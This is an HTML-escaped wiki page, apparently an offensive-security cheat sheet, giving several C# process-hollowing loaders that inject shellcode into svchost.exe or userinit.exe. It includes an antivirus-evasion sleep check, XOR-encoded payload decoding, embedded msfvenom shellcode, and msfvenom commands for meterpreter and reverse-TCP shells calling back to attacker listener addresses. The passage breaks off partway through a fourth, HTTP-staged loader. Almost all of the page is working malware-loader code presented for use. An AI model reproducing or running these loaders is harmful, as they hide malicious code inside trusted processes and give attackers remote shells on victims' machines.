Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
